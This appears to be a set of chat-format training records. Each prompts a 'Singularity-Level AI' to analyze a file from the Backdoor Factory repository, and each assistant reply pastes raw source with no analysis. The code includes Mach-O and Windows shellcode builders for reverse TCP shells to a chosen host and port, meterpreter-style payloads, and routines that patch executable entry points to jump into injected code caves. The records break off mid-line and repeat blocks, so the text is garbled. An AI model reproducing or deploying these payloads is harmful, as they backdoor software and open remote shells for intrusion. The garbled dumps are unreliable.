\"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x54\\x53\"\n \"\\x50\\xb0\\x3b\\xcd\\x80\"\n )\n\n #Time Check\n self.shellcode2 += \"\\xB8\\x74\\x00\\x00\\x02\\xcd\\x80\" # put system time in eax\n self.shellcode2 += \"\\x05\" # add eax, 15 for seconds\n self.shellcode2 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += (\"\\x89\\xe7\\x31\\xc0\\x50\"\n \"\\x6a\\x01\\x6a\\x02\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x62\"\n \"\\x58\\xcd\\x80\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\\x4f\\xe8\\x79\\xf6\\x68\"\n \"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x54\\x53\"\n \"\\x50\\xb0\\x3b\\xcd\\x80\"\n )\n\n self.shellcode1 = (\"\\xB8\\x02\\x00\\x00\\x02\\xcd\\x80\\x85\\xd2\")\n self.shellcode1 += \"\\x0f\\x84\"\n if self.jumpLocation < 0:\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/MachoIntel64.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\n\n\nclass macho_intel64_shellcode():\n \"\"\"\n Mach-O Intel x64 shellcode Class\n \"\"\"\n\n def __init__(self, HOST, PORT, jumpLocation=0x0, SUPPLIED_SHELLCODE=None, BEACON=15):\n self.HOST = HOST\n self.PORT = PORT\n self.jumpLocation = jumpLocation\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.BEACON = BEACON\n self.shellcode = \"\"\n\n def pack_ip_addresses(self):\n hostocts = []\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def delay_reverse_shell_tcp(self):\n if self.PORT is None:\n print (\"Must provide port\")\n return False\n if self.HOST is None:\n print (\"This payload requires a HOST parameter -H\")\n return False\n\n #From metasploit LHOST=127.0.0.1 LPORT=8080 Reverse Tcp\n self.shellcode2 = \"\\xB8\\x74\\x00\\x00\\x02\\x0f\\x05\" # put system time in rax\n self.shellcode2 += \"\\x48\\x05\"\n self.shellcode2 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += self.pack_ip_addresses()\n self.shellcode2 += (\"\\x56\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x0f\"\n \"\\x05\\x4c\\x89\\xe7\\xb8\\x5a\\x00\\x00\\x02\\x48\\x31\\xf6\\x0f\\x05\\xb8\\x5a\"\n \"\\x00\\x00\\x02\\x48\\xff\\xc6\\x0f\\x05\\x48\\x31\\xc0\\xb8\\x3b\\x00\\x00\\x02\"\n \"\\xe8\\x08\\x00\\x00\\x00\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x48\\x8b\\x3c\"\n \"\\x24\\x48\\x31\\xd2\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n )\n\n self.shellcode1 = (\"\\xB8\\x02\\x00\\x00\\x02\\x0f\\x05\\x85\\xd2\") # FORK()\n self.shellcode1 += \"\\x0f\\x84\" # \\x4c\\x03\\x00\\x00\" # <-- Points to LC_MAIN/LC_UNIXTREADS offset\n if self.jumpLocation < 0:\n self.shellcode1 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += self.pack_ip_addresses()\n self.shellcode2 += (\"\\x56\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x0f\"\n \"\\x05\\x4c\\x89\\xe7\\xb8\\x5a\\x00\\x00\\x02\\x48\\x31\\xf6\\x0f\\x05\\xb8\\x5a\"\n \"\\x00\\x00\\x02\\x48\\xff\\xc6\\x0f\\x05\\x48\\x31\\xc0\\xb8\\x3b\\x00\\x00\\x02\"\n \"\\xe8\\x08\\x00\\x00\\x00\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x48\\x8b\\x3c\"\n \"\\x24\\x48\\x31\\xd2\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n )\n\n self.shellcode1 = (\"\\xB8\\x02\\x00\\x00\\x02\\x0f\\x05\\x85\\xd2\") # FORK()\n self.shellcode1 += \"\\x0f\\x84\" # \\x4c\\x03\\x00\\x00\" # <-- Points to LC_MAIN/LC_UNIXTREADS offset\n if self.jumpLocation < 0:\n self.shellcode1 += struct.pack(\"H\", self.PORT)\n self.shellcode2 += self.pack_ip_addresses()\n self.shellcode2 += (\"\\x56\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x0f\"\n \"\\x05\\x4c\\x89\\xe7\\xb8\\x5a\\x00\\x00\\x02\\x48\\x31\\xf6\\x0f\\x05\\xb8\\x5a\"\n \"\\x00\\x00\\x02\\x48\\xff\\xc6\\x0f\\x05\\x48\\x31\\xc0\\xb8\\x3b\\x00\\x00\\x02\"\n \"\\xe8\\x08\\x00\\x00\\x00\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x48\\x8b\\x3c\"\n \"\\x24\\x48\\x31\\xd2\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n )\n #TIME CHECK\n\n self.shellcode2 += \"\\xB8\\x74\\x00\\x00\\x02\\x0f\\x05\" # put system time in rax\n self.shellcode2 += \"\\x48\\x05\"\n self.shellcode2 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/WinIntelPE32.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\n\n##########################################################\n# BEGIN win32 shellcodes #\n##########################################################\nimport struct\nfrom intelmodules import eat_code_caves\n\n\nclass winI32_shellcode():\n \"\"\"\n Windows Intel x32 shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, SUPPLIED_SHELLCODE):\n #could take this out HOST/PORT and put into each shellcode function\n self.HOST = HOST\n self.PORT = PORT\n self.shellcode = \"\"\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.stackpreserve = \"\\x90\\x90\\x60\\x9c\"\n self.stackrestore = \"\\x9d\\x61\"\n self.apis_needed = None\n\n def pack_ip_addresses(self):\n hostocts = []\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def clean_caves_stub(self, CavesToFix):\n stub = (\"\\x33\\xC0\" # XOR EAX,EAX\n \"\\x31\\xc9\" # XOR ECX, ECX <- requirment for win10\n \"\\x64\\x8B\\x49\\x30\" # mov ecx, dword ptr fs: [ecx + 0x30]\n \"\\x8B\\x49\\x08\" # mov ecx, dword ptr [ecx+8]\n \"\\x8B\\xD9\" # mov ebx,ecx\n )\n for cave, values in CavesToFix.iteritems():\n stub += \"\\xbf\" # mov edi, value below\n stub += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/WinIntelPE64.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n''''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\n##########################################################\n# BEGIN win64 shellcodes #\n##########################################################\n\nimport struct\nfrom intelmodules import eat_code_caves\n\n\nclass winI64_shellcode():\n \"\"\"\n Windows Intel x64 shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, SUPPLIED_SHELLCODE):\n self.HOST = HOST\n self.PORT = PORT\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.shellcode = \"\"\n self.stackpreserve = (\"\\x90\\x90\\x50\\x53\\x51\\x52\\x56\\x57\\x54\\x55\\x41\\x50\"\n \"\\x41\\x51\\x41\\x52\\x41\\x53\\x41\\x54\\x41\\x55\\x41\\x56\\x41\\x57\\x9c\"\n )\n\n self.stackrestore = (\"\\x9d\\x41\\x5f\\x41\\x5e\\x41\\x5d\\x41\\x5c\\x41\\x5b\\x41\\x5a\\x41\\x59\"\n \"\\x41\\x58\\x5d\\x5c\\x5f\\x5e\\x5a\\x59\\x5b\\x58\"\n )\n self.apis_needed = None\n\n def pack_ip_addresses(self):\n hostocts = []\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def clean_caves_stub(self, CavesToFix):\n stub = (\"\\x48\\x31\\xC0\" # xor rax,rax\n \"\\x48\\x31\\xC9\" # xor rcx,rcx\n \"\\x65\\x48\\x8B\\x49\\x60\" # mov rcx,QWORD PTR gs:[rcx+0x60]\n \"\\x48\\x8B\\x49\\x10\" # mov rcx,QWORD PTR [rcx+0x10]\n \"\\x48\\x89\\xCB\" # mov rbx,rcx\n )\n for cave, values in CavesToFix.iteritems():\n stub += \"\\x48\\xbf\" # mov rdi, value below\n stub += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\"

    It\n * works!

    , EnableStageEncoding=false,\n * PrependMigrate=false, EXITFUNC=thread, AutoLoadStdapi=true,\n * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,\n * EnableUnicodeEncoding=true\n */\n \"\"\"\n if flItms['NewCodeCave'] is False:\n if CavesPicked != {}:\n self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])\n\n else:\n self.shellcode2 += \"\\x41\" * 90\n\n #payload\n self.shellcode2 += (\"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\"\n \"\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\"\n \"\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\"\n \"\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\"\n \"\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\"\n \"\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\"\n \"\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\"\n \"\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\"\n \"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\"\n \"\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\"\n \"\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\"\n \"\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\"\n \"\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\"\n \"\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\\x12\\xe9\\x4f\\xff\\xff\\xff\"\n \"\\x5d\\x6a\\x00\\x49\\xbe\\x77\\x69\\x6e\\x69\\x6e\\x65\\x74\\x00\\x41\\x56\"\n \"\\x49\\x89\\xe6\\x4c\\x89\\xf1\\x49\\xba\\x4c\\x77\\x26\\x07\\x00\\x00\\x00\"\n \"\\x00\\xff\\xd5\\x6a\\x00\\x6a\\x00\\x48\\x89\\xe1\\x48\\x31\\xd2\\x4d\\x31\"\n \"\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x49\\xba\\x3a\\x56\\x79\\xa7\\x00\"\n \"\\x00\\x00\\x00\\xff\\xd5\\xe9\\x9e\\x00\\x00\\x00\\x5a\\x48\\x89\\xc1\\x49\"\n \"\\xb8\")\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode2) < breakupvar:\n self.shellcode2 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\" 0:\n self.shellcode1 += \"\\xe9\"\n if len(self.shellcode1) < breakupvar:\n self.shellcode1 += struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/intelCore.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\n\nimport struct\nimport random\nfrom binascii import unhexlify\nfrom capstone import *\n\n\nclass intelCore():\n\n nops = [0x90, 0x3690, 0x6490, 0x6590, 0x6690, 0x6790]\n jmp_symbols = ['jns', 'jle', 'jg', 'jp', 'jge', 'js', 'jl', 'jbe', 'jo',\n 'jne', 'jrcxz', 'je', 'jae', 'jno', 'ja', 'jb', 'jnp', 'jmp'\n ]\n\n def __init__(self, flItms, file_handle, VERBOSE):\n self.f = file_handle\n self.flItms = flItms\n self.VERBOSE = VERBOSE\n\n def opcode_return(self, OpCode, instr_length):\n _, OpCode = hex(OpCode).split('0x')\n OpCode = unhexlify(OpCode)\n return OpCode\n\n def ones_compliment(self):\n \"\"\"\n Function for finding two random 4 byte numbers that make\n a 'ones compliment'\n \"\"\"\n compliment_you = random.randint(1, 4228250625)\n compliment_me = int('0xFFFFFFFF', 16) - compliment_you\n if self.VERBOSE is True:\n print \"First ones compliment:\", hex(compliment_you)\n print \"2nd ones compliment:\", hex(compliment_me)\n print \"'AND' the compliments (0): \", compliment_you & compliment_me\n self.compliment_you = struct.pack('= 6 or self.count % 5 == 0 and self.count != 0:\n break\n\n self.flItms['count_bytes'] = self.count\n\n def pe64_entry_instr(self):\n \"\"\"\n For x64 files. Updated to use Capstone-Engine.\n \"\"\"\n print \"[*] Reading win64 entry instructions\"\n self.f.seek(self.flItms['LocOfEntryinCode'], 0)\n self.count = 0\n self.flItms['ImpList'] = []\n md = Cs(CS_ARCH_X86, CS_MODE_64)\n for k in md.disasm(self.f.read(20), self.flItms['VrtStrtngPnt']):\n self.count += k.size\n _bytes = bytearray(b'')\n\n if len(k.bytes) < k.size:\n _bytes = bytearray(b\"\\x00\" * (k.size - len(k.bytes)))\n\n value_bytes = k.bytes + _bytes\n\n self.flItms['ImpList'].append([int(hex(k.address).strip('L'), 16),\n k.mnemonic.encode(\"utf-8\"),\n k.op_str.encode(\"utf-8\"),\n int(hex(k.address).strip('L'), 16) + k.size,\n value_bytes,\n k.size])\n\n if self.count >= 6 or self.count % 5 == 0 and self.count != 0:\n break\n\n self.flItms['count_bytes'] = self.count\n\n def patch_initial_instructions(self):\n \"\"\"\n This function takes the flItms dict and patches the\n executable entry point to jump to the first code cave.\n \"\"\"\n print \"[*] Patching initial entry instructions\"\n self.f.seek(self.flItms['LocOfEntryinCode'], 0)\n #This is the JMP command in the beginning of the\n #code entry point that jumps to the codecave\n self.f.write(struct.pack('=B', int('E9', 16)))\n if self.flItms['JMPtoCodeAddress'] < 0:\n self.f.write(struct.pack(' 5:\n for i in range(self.flItms['count_bytes'] - 5):\n self.f.write(struct.pack('=B', 0x90))\n\n def resume_execution_64(self):\n \"\"\"\n For x64 exes...\n \"\"\"\n print \"[*] Creating win64 resume execution stub\"\n #pause loop for code cave clearing stub\n resumeExe = ''\n resumeExe += \"\\x51\" # push ecx\n resumeExe += \"\\x48\\xc7\\xc1\" # mov ecx, value below\n resumeExe += struct.pack(\" 4: # 4294967295:\n resumeExe += \"\\x48\\xb9\" # mov rcx, 8 bytes\n resumeExe += entireInstr[1:]\n\n resumeExe += \"\\x48\\x01\\xc8\" # add rax,rcx\n resumeExe += \"\\x50\"\n resumeExe += \"\\x48\\x31\\xc9\" # xor rcx,rcx\n resumeExe += \"\\x48\\x89\\xf0\" # mov rax, rsi\n resumeExe += \"\\x48\\x81\\xe6\" # and rsi, XXXX\n resumeExe += self.compliment_you\n resumeExe += \"\\x48\\x81\\xe6\" # and rsi, XXXX\n resumeExe += self.compliment_me\n resumeExe += \"\\xc3\"\n return ReturnTrackingAddress, resumeExe\n\n elif any(symbol in OpCode for symbol in self.jmp_symbols):\n #Let's beat ASLR\n CallValue = int(CallValue, 16)\n resumeExe += \"\\xb8\"\n aprox_loc_wo_alsr = (startingPoint +\n self.flItms['JMPtoCodeAddress'] +\n len(self.flItms['shellcode']) + len(resumeExe) +\n 200 + self.flItms['buffer'])\n resumeExe += struct.pack(\" 429467295:\n resumeExe += struct.pack(' 429467295:\n resumeExe += struct.pack('= 4294967295:\n resumeExe += struct.pack(' 4294967295:\n resumeExe += struct.pack(' 429467295:\n resumeExe += struct.pack(' 429467295:\n resumeExe += struct.pack('"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: intel/intelmodules.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\n\ndef eat_code_caves(flItms, caveone, cavetwo):\n \"\"\"\n Return the difference between caves RVA positions\n \"\"\"\n\n try:\n if flItms['CavesPicked'][cavetwo][0] == flItms['CavesPicked'][caveone][0]:\n return int(flItms['CavesPicked'][cavetwo][1], 16) - int(flItms['CavesPicked'][caveone][1], 16)\n\n else:\n caveone_found = False\n cavetwo_found = False\n for section in flItms['Sections']:\n if flItms['CavesPicked'][caveone][0] == section[0] and caveone_found is False:\n rva_one = int(flItms['CavesPicked'][caveone][1], 16) - int(flItms['CavesPicked'][caveone][4], 16) + flItms['CavesPicked'][caveone][8]\n caveone_found = True\n\n if flItms['CavesPicked'][cavetwo][0] == section[0] and 